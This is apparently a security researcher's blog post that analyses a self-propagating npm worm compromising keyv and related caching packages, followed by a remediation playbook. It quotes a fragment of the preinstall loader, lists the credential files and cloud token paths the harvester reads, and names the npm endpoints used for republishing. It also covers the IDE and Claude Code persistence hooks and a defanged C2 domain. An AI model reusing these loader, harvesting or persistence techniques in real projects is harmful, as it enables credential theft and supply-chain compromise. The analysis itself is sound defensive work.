Technical analysis of the latest npm registry hack for CTOs & security researchers;
and why this “mini” wurm, Shai Hulud, is literally right out of Heretics of Dune
📌 skip to 30/60/90
If you are currently sitting in a hotel lobby in Las Vegas for Hacker Summer Camp,1 your phone has probably spent the last four hours buzzing itself off the table.2
While half the industry is listening to briefings on LLM jailbreaks and hardware side-channels, an automated supply chain wurm (a variant of the Mini Shai-Hulud3 payload named by TeamPCP for the sandworms in Dune) was quietly ripping through the Node.js ecosystem at a rate of roughly a hundred downstream packages an hour. The estimate is that this attack is the #3 worst incident in npm’s long and storied history of such problems, following Left-Pad at #2 and 2018’s Event Stream holding down #1.4
If you cloned the
keyvrepository after 09:00 UTC yesterday (4 Aug) even to audit the compromise—or any library that transitively depends on it, obvi— your IDE may have executed the payload.
The cascade began in the quiet, unglamorous bedrock of the Node.js ecosystem: attackers compromised the GitHub account of the primary maintainer behind keyv, (a staple key-value DB interface with ~127M weekly downloads) and, because dependency graphs in the modern JavaScript ecosystem resemble dense, entangled bamboo root systems more than clean directed acyclic graphs, compromising keyv instantly granted access to its sister caching layer abstractions, cacheable, flat-cache, & file-entry-cache as well, all low-level primitives sitting near the root of thousands of transitive dependency graphs (but mostly bc Jared also controlled these ubiquitous caching libraries):
From there, the wurm executed a self-propagating loop directly inside the build environment; within a 4-hour window, the wurm harvested tokens from build runners and compromised over 860 downstream packages across other maintainers, affecting libraries with a combined footprint of over 2 billion monthly downloads.
The resulting blast radius was the direct, mathematical output of
how npm’s maintainer-trust model composes at graph scale.
SafeDep enumerated 1,684 poisoned versions across 420 package names against the registry by early afternoon UTC. SafeDep’s real-time tracking put the count at 868 packages across 1,381 versions by 13:37 CEST. The wurm reached nine unrelated organizations in approximately thirty minutes, including @deliveroo, @qlik, @servicetitan, @ornikar, @adminide-stack, and @arv-bedrock, moving from one namespace to the next every two to seven minutes and republishing at roughly one package per second.
When the maintainer’s credential path was compromised, the resulting blast radius wasn’t owing to the attacker’s extraordinary sophistication (sorry guys) but the direct, mathematical output of how npm’s maintainer-trust model composes at graph scale. If you inspect the raw package diffs, you’ll see there are no zero-day kernel exploits, no memory corruption primitives, no tricky buffer overflows. Instead, the attack relies on the oldest execution primitive in the ecosystem: the humble preinstall hook.
The published package.json for keyv@6.0.05 looks, to a casual audit, essentially like the previous release: dist/ output is byte-identical to the last clean version. (!)
The attack surface is two added files and a single modified field:
"files": ["dist", "LICENSE", "setup.mjs", "Math_Symbol.js"],
"scripts": {
"preinstall": "node setup.mjs"
}setup.mjs is the first-stage loader. It is lightly obfuscated Node that detects platform and architecture (including Alpine/musl variants, via ldd --version and /etc/os-release), fetches a platform-matched standalone Bun runtime at version 1.3.13 if one is not already present, unzips it using system unzip on POSIX, PowerShell Expand-Archive on Windows, or a hand-written pure-JavaScript ZIP parser as a fallback, and then executes the second stage under the freshly fetched binary:
const V = "1.3.13";
const E = "math_init.js";
const url = "https://github.com/oven-sh/bun/releases/download/bun-v" + V + "/" + target + ".zip";
// ...
execFileSync(bunBinary, [payloadPath], { stdio: "inherit", cwd: D });Math_Symbol.js is the second stage, approximately 728 KB bundled. Wiz attributes the payload lineage to the “Mini” Shai-Hulud malware family, the same codebase that powered the TeamPCP campaign against Mistral, PyPi and TanStack packages back in May6 and the Red Hat Cloud Services OIDC-bypass incident in June. The Shai-Hulud open-source repositories that TeamPCP published form the ancestor; this variant diverges on several specifics.
Running the second stage under a downloaded Bun binary sidesteps the host Node version and any Node-level process monitoring. The IOC for this is the process ancestry: node setup.mjs spawning a process under /tmp/bun-dl-*/. (If your EDR is not instrumenting that chain on build runners, you’re not seeing this attack.)
String protection uses polymorphic basE91 encoding with a shared numeric opcode table driving per-scope alphabets decoded lazily. Recovering the plaintext requires reimplementing basE91 and brute-forcing each alphabet. Socket’s reversers did this;7 the resulting capability map is extensive to say the least.
Exfiltration avoids a fixed C28 host by reading target domains from an Ethereum smart contract (StringListStore) via eth_call. The on-chain history shows the contract was initialized with three domains before being updated to resolve only to npm-cache[.]com (104.21.35.216, behind Cloudflare). That the contract owner address had prior flagging as scam-associated is operationally significant: it means the operator can now rotate C2 infrastructure without touching the payload binary. Revocation and re-deployment of the malware are decoupled, which is a meaningful upgrade in operational security over hardcoded C2 addresses (for the attacker, that is.)
The engineering elegance of the payload lies in its bootstrap mechanism. Once the preinstall hook executes, it immediately drops a standalone, single-binary Bun runtime directly into host memory or a local temporary directory.
By executing the secondary payload inside an isolated, bundled runtime rather than spawning standard Node sub-processes or shell utilities, the wurm exits the host’s process monitoring envelope entirely. Standard runtime application self-protection (RASP) agents, APM tooling, and process-tree telemetry looking for anomalous Node or bash children are rendered blind. The payload bypasses security controls by running in an execution context the instrumentation was never configured to observe.
To understand why traditional incident response playbooks failed during the incident, we need to examine the operational architecture of the payload’s four distinct modules: (bracketed names are from the wurm’s source code.)
The Harvester
[collector]avoids leaving artifacts on disk by scanning live process memory directly. In modern CI/CD runners, short-lived OIDC tokens exchanged with cloud providers reside in runner memory, not on disk where a scanner might find them. The harvester pulls ephemeral bearer tokens out of the execution context mid-build: AWS IMDS v1 and v2, the full credential chain from~/.aws/credentialsand~/.aws/config, Secrets Manager across all regions, GCP service account private keys, Azure client secrets, Vault tokens at/home/runner/.vault-tokenand/run/secrets/VAULT_TOKEN, Kubernetes service account tokens at/var/run/secrets/kubernetes.io/serviceaccount/token, GitHub Actions OIDC tokens, and a TruffleHog-style regex sweep for anything else on disk. New in this variant: AI agent credential stores for Claude Code, OpenAI, Codex, Cursor, and Gemini; cryptocurrency keystores for Foundry, Solana, and Monero; Jenkinsmaster.key; Argo CD; Alibaba Cloud and Tencent Cloud CLI configs;/etc/shadow. Target surface expanded roughly 70% over prior Shai-Hulud releases.The Publisher
[publish]avoids the credential your MFA policy actually protects. Propagation travels through npm publishing tokens, not GitHub account credentials, which means hardware-bound 2FA, YubiKeys, and phishing-resistant WebAuthn on the maintainer’s GitHub account are completely irrelevant. Once the wurm holds an active npm token, it calls:https://registry.npmjs.org/-/whoami registry.npmjs.org/-/v1/search?text=maintainer:<victim> https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/<pkg>For each reachable package, it downloads the last clean tarball, injects
setup.mjsandMath_Symbol.js, recomputesintegrityandshasum, bumps the patch version, and issues aPUTto the registry — without ever touching the GitHub web UI. Where npm OIDC trusted publishing is configured, the republished version inherits valid provenance. That is how the wurm crossed namespace boundaries without requiring additional GitHub account compromises.If sufficient GitHub secrets were collected, a public GitHub repository is created through GitHub APIs, and the same encrypted results are committed to Dune-themed repository names such as
atreides-lasgun-393orgesserit-fedaykin-112. (The naming corpus thankfully terminates before the Bene Tleilax begin making perfectly reasonable suggestions about futars9).
The Dispatcher
[dispatch]avoids having a domain your abuse desk can find. Corporate security teams have spent two decades building domain-revocation playbooks: identify the C2 endpoint, file an abuse ticket with AWS or Cloudflare, watch the infrastructure go dark. Mini Shai-Hulud routes C2 state through an Ethereum smart contract (StringListStore) viaeth_callinstead. The on-chain history shows the contract initialized with three domains before updating to resolve onlynpm-cache[.]com(104.21.35.216). The operator rotates infrastructure without touching the payload binary. “There is no abuse desk for an Ethereum smart contract.”The Workstation Vector
[provenance]avoids dying with the runner. Ephemeral CI/CD runners self-destruct after a build completes, which would normally halt a wurm’s persistence. Instead, the payload checks whether it is running on a developer machine and plants hooks in.claude/settings.json(SessionStart) and.vscode/tasks.json(folderOpen). Both executesetup.mjswhen a developer or AI coding agent opens a cloned repository — no subsequentnpm installrequired. The developer’s local environment becomes a persistent token harvester that re-infects every repository they open. Exfiltration goes via aGitHubSenderthat creates repositories under compromised identities using the GraphQLcreateCommitOnBranchmutation (description:Shai-Hulud: Here We Go Again) and aDomainSenderover DNS as fallback.
Persistence is planted in two locations that require no subsequent npm install to subsequently trigger: .claude/settings.json receives a SessionStart hook and .vscode/tasks.json receives a folderOpen task. Both execute the same setup.mjs loader when a developer or an AI coding agent opens a cloned repository.10
Where npm OIDC trusted publishing is configured on the source repository,
the republished version can inherit valid provenance.
For each package reachable under the stolen identity, the payload downloads the last clean tarball, injects setup.mjs and Math_Symbol.js, recomputes integrity and shasum fields, bumps the patch version, and issues a PUT to the registry. Where npm OIDC trusted publishing is configured on the source repository, the republished version can inherit valid provenance. That is how the wurm crossed namespace boundaries without requiring additional GitHub account compromises: it propagated through npm tokens, not through GitHub credentials.
The wurm’s dead-man’s switch is its most operationally dangerous feature, the one most likely to cause harm during incident response.
When a security operations center detects an active credential leak, the universal, zero-reflection First Commandment of Incident Response is immediate, aggressive secret revocation: kill the tokens, drop the sessions, revoke the API keys.
Mini Shai-Hulud is aware of this, and contains a trap just for such response.
The dead-man's switch consists of a background daemon (gh-token-monitor systemd unit) that polls api.github.com/user every 60 seconds. The C2 can respond with a code value that arms the background monitor against a specific token, watching for a successful response from this endpoint. If that token is revoked, the universal first action in any credential-leak playbook, the switch triggers and the daemon trips a destructive fallback: recursive wipes, corrupted git references, destroyed build state. Remediation response triggers detonation.
Find the switch before you revoke anything.
Socket’s guide is on point:11 remove the switch before rotating credentials. The systemd unit describes itself as a “GitHub Token Validity Monitor.” It looks, at a glance, like a developer convenience. But no release tooling installs a background service that watches for its own credentials to be revoked. Stop the process in memory, kill the enumerated files on disk, and only then invalidate your keys.
This entire apparatus rests on a category error: confusing provenance with safety.
The industry’s response to five years of supply chain attacks has converged on a single architectural bet: Sigstore, SLSA attestations, OIDC-bound GitHub Actions, and package signing now function as the default answer12 to how a team verifies an artifact it didn’t build, confirming that a package was produced by a specific repository through an authorized pipeline so we can all feel a little better about it.
The keyv incident demonstrates the limits of that bet because the GitHub Actions workflow executed properly, the OIDC tokens were minted by the official identity provider, the build attestation was valid, and the registry verified the signature, so every automated tool in the pipeline judged the published artifact 100% authentic. That judgment was accurate on precisely its own terms: the malware was compiled and published by the legitimate, authorized pipeline. Since the attacker compromised the maintainer’s account and pushed directly to the primary branch, the pipeline processed that code with the same fidelity it would have applied to any legitimate commit. Flying blind but feeling good.
Snyk’s analysis showed13 that npm manifest identifies GitHub Actions as the trusted publisher for keyv@6.0.0 (and even linked to an npm attestation, since removed.) This was apparently enough for the IDE persistence hooks to carry a green “verified” badge. So it’s not clear how much of this was just spoofing the text label, versus being able to masquerade as Github Actions bot. As we’ve previously discussed, GitHub signs commits created through its API while allowing the caller to supply the author field as free text, so a write-capable credential can manufacture a verified bot commit but also leading to the fun “Linus Torvalds is a committer to my repo” prank.
This is literally the Face Dancer problem from Heretics of Dune — in which the sandworms make a comeback after near extinction, and the Bene Tleilax who, having learned to synthetically manufacture spice melange, have created a new more advanced version of Face Dancers)14 — transposed to build infrastructure. The commit passed verification because it had become the verified identity. The provenance chain had nothing to say about the substitution because the substitution was, by every measurable criterion, the real thing.
The provenance chain remained intact end to end, and that chain simply
had no claim to make about who held the credential.
This points to the core architectural error. Provenance functions as an accountability trail rather than an isolation boundary: it answers who built this binary with mathematical certainty, and it has no mechanism for answering whether this binary will harvest environment variables or wipe a production database. Treating it as an execution boundary means using a high-assurance stamp to certify code that was never vetted, since the stamp confirms the pipeline that produced the artifact rather than the safety of what the artifact does, which is the actual trust boundary.
In the npm ecosystem, trust is transitive, unbounded, and structurally asymmetric.
The deeper issue concerns how build environments get designed in the first place. Most modern CI/CD runners run compilation, dependency resolution, and deployment inside a single, undifferentiated security context, so that a preinstall script from a transitive dependency executes with the same privileges as the pipeline itself. Teams inherit this by default, the way you inherit a house’s wiring.15
That context typically holds everything worth stealing. Registry publishing tokens, cloud credentials, production database connection strings, and Vault tokens all sit inside the same environment that just ran code from a maintainer that went unvetted, over a network connection not being monitored, inside an execution environment that was implicitly trusted.
In this standard setup the runner treats trusted code and merely-executed code identically. Running an install command inside an environment built this way means importing thousands of transitive dependencies (each authored by someone with no relationship to your org) and granting every one of their scripts the same ambient access to your deployment secrets that your own pipeline operator holds. Are we starting to see the problem yet? As dependency trees deepen, this compounds: a typical project runs code from hundreds of indirect maintainers, none of whom anyone ever asked to hold the keys they now hold.
It doesn’t work to blame npm’s package manager, or maintainer carelessness, or a lack of developer education, or broken processes, or organizational culture, or individual mistakes, all of which misses where the fault actually hides. Ambient authority functions as a design pattern here, resting on an assumption that any code permitted to run inside the build context has earned the trust of the context itself.
In Cargo and Go, a compromised transitive maintainer can ship you bad code.
In npm, they can also empty your AWS account.
Sure, structurally separating compilation authority from transport authority would change this calculus; routing package execution into network-isolated sandboxes with no embedded secrets and injecting credentials only downstream, after compilation completes. Absent that separation, the real attack surface of a signed release stays exactly what it’s always been: the entire transitive dependency graph of whoever holds the signing key. In Cargo and Go, a compromised transitive maintainer can ship you bad code. In npm, they can also empty your AWS account.
The reason npm remains a chronic crime scene while Rust’s Cargo or Go’s module system don’t isn’t that JavaScript developers are less security-conscious. It’s because npm was architected around implicit trust, unbounded dependency graphs, and ambient execution authority.
The Bene Tleilax of Dune engineered Face Dancers as perfect identity substitutions: shapeshifters who absorb their targets so completely that every available mechanism of recognition confirms the replacement as the original, because the question those systems ask is whether the presented identity matches the known one, and in every dimension available to measurement, it does. The advanced Face Dancers in Heretics of Dune (compared with their appearance in God Emperor) are specifically horrifying as no verification protocol can catch them. Verification confirms the Face Dancer because verification was built to confirm identity, which a Face Dancer *becomes.*16
The spoofed github-actions[bot] commit with its green verified badge is that problem transposed to build infrastructure, which parallel is architectural rather than decorative. The pipeline ran correctly; the OIDC provider minted real tokens; the signature verified; the provenance attestation blessed the release; and the commit carrying IDE persistence hooks passed every check because it satisfied every check, because every check was asking whether the presented credential matched the authorized identity, and the answer was yes. Cryptographic provenance is precisely the verification layer a Face Dancer is engineered to satisfy. The substitution was, by every criterion the system had, the *real* thing.
The Bene Gesserit lived by the belief that better perception produced sufficiently certain knowledge; the Bene Tleilax's Face Dancers demonstrated that the gap between recognition and understanding is where catastrophic consequences occur.
The defining operational lesson of the keyv/cacheable compromise is that valid build provenance and active compromise are not mutually exclusive: a real maintainer account, a real GitHub Actions pipeline, a real OIDC-signed release, carrying a credential-stealing worm the entire time. Point-in-time signature checks fail here because they verify origin, not intent. This playbook sequences the response accordingly: irreversible actions close first, execution surface closes second, governance closes last. Nothing in the 30-day window is allowed to wait on forensics, including forensics.
UPDATE: npm has unpublished the malicious versions and rolled latest back to 5.6.0 across the family. As of this writing, @cacheable/utils@2.5.1 remains live and poisoned. The jaredwray/keyv repository still contained the .claude and .vscode persistence directories on main at last check. Unpublished versions remain in any lockfile written during the window.
Operant principle: revocation is the only action on this list that stops an active exfiltration channel. Everything else is forensics, and forensics can wait ninety seconds longer than a live token can.
Action: Revoke — not schedule for rotation, revoke now — every npm token, GitHub PAT, and OIDC-issued short-lived credential live on any runner or workstation that installed from
keyv,cacheable,cache-manager,cacheable-request,flat-cache,file-entry-cache, or any@cacheable/*scope during the exposure window.Action: Roll every secondary infrastructure credential reachable from an exposed runner (AWS/GCP/Azure keys, HashiCorp Vault tokens, Kubernetes service account tokens).
Note: Do this before hunting for local persistence artifacts, not after. The payload family ships a scare string in its commits warning defenders that revoking the key will crash production for other customers (indended to make you hesitate.) Don’t let a coercive string set your incident order of operations. If you have confirmed telemetry showing a specific local persistence mechanism, investigate it after revocation, not as a gate in front of it.
Deliverable: Signed, timestamped credential-revocation log covering every runner and workstation identified as exposed.
Operant principle: caret ranges mean a clean install today can silently resolve to a poisoned version tomorrow.
Action: Run
npm ls keyv cacheable flat-cache cacheable-request file-entry-cache cache-manager @cacheable/utilsacross every repository. Lockfiles generated during the infection window retain resolution pointers to malicious versions even after registry unpublication.Action: Pin all affected packages to a confirmed clean version, regenerate lockfiles from scratch, and block new-release resolution inside caret ranges at the registry proxy for the duration of the active window.
Deliverable: Repo-by-repo lockfile audit with clean-version pins committed and verified.
Research: Look at tinyNpm plugin for VS Code17 (and it’s Open VSX) which sets a buffer for how many days you want a package to be on npm before showing a new download is available. (Since most supply chain attacks are solved by npm in a few hours this seems like a sensible idea, though it’s obviously more guardrail than invariant.) NB. I have not conducted a security review of the tinyNpm code repository, so Installator caveat.
Operant principle: this campaign’s persistence targets are developer tooling configs, not just node_modules (audit accordingly.)
Action: Audit
.claude/settings.json, Claude Code hooks,.vscode/tasks.json, and any local agent-hook configuration on every machine or workspace that cloned or installed packages from the affected family during the exposure window. Treat unfamiliar hooks as hostile until proven otherwise.Deliverable: Hook/config diff report per workstation. Unauthorized entries removed; any machine with an unexplained diff gets re-imaged rather than hand-cleaned.
Operant principle: this is a policy flip, not an infrastructure migration, and it would have stopped the initial payload from ever running. Don’t let it near the 60-day bucket.
Action: Upgrade CI/CD and local toolchains to npm 12+, which blocks
preinstall/postinstall/preparelifecycle scripts by default unless explicitly allowlisted viaallowScripts.Deliverable: Toolchain version audit confirming npm 12+ enforced across all CI runners and developer machines, with a human-reviewed exception list for any script that must still run.
Operant principle: a build step with ambient credentials and unrestricted egress is a fully trusted execution context running untrusted code — that combination is the actual root cause here, not any single package.
Action: Reconfigure CI/CD so package installation and compilation execute in unprivileged, zero-secret containers with restricted outbound network access. Inject deployment credentials strictly into downstream transport steps, never into the build step itself.
Deliverable: Build-stage architecture diagram showing secrets injected only after compilation completes, verified against a live pipeline.
Operant principle: this campaign resolves its fallback C2 domain dynamically from a public blockchain smart contract specifically so static domain blocklists age out. Block the pattern, not the domain of the week.
Action: Restrict build-runner egress to an explicit allowlist (package registry, artifact store, known API hosts). Block outbound calls from build contexts to public blockchain RPC endpoints and to GitHub hosts outside your own org.
Action: Alert on repository creation events, under any identity with write access to your org, matching known dead-drop naming conventions used by this campaign’s exfiltration channel.
Deliverable: Egress allowlist enforced at the runner network layer, plus a live alerting rule in SIEM covering both patterns.
Operant principle: a boundary you haven’t tested against a rogue package is a boundary you’re assuming holds.
Action: Add CI test suites that simulate rogue package execution, sandbox breakouts, and proxy bypasses prior to every release promotion.
Deliverable: Boundary test suite gating release promotion, with results logged per release.
Operant principle: a worm18 needs speed. A delay window is friction the attacker doesn’t get to route around.
Action: Route all external open-source dependency resolution through internal artifact mirrors enforcing automated static analysis and a vulnerability-delay window on new upstream package versions.
Deliverable: Mirror live in production with delay policy documented and enforced org-wide.
Operant principle: signed provenance proves the pipeline ran as expected. It says nothing about the blast radius available to whoever controls that pipeline.
Action: Audit cloud provider OIDC trust relationships. Scope CI runner tokens to short-lived, single-action execution roles rather than broad infrastructure permissions.
Deliverable: OIDC role audit with every over-scoped trust relationship remediated or explicitly risk-accepted by a named owner.
Operant principle: signature- and CVE-based controls have no detection surface against this attack class. Behavior does — and this specific rule would have caught every wave of this campaign to date.
Action: Stand up automated alerting that fires whenever a dependency’s
preinstall/postinstall/preparescript changes between published versions, when an install-time process contacts a non-registry host, or when a published tarball diverges from its source tree.Deliverable: Standing detection rule live across all registries in use, regression-tested against this incident’s actual indicators as the baseline case.
Operant principle: the depth of your dependency graph is the size of your actual attack surface, whether or not anyone’s ever mapped it.
Action: Institute automated policy enforcement mapping transitive dependency depth, blocking unvetted libraries from entering production build paths.
Deliverable: Machine-readable dependency graph with policy enforcement points documented and live.


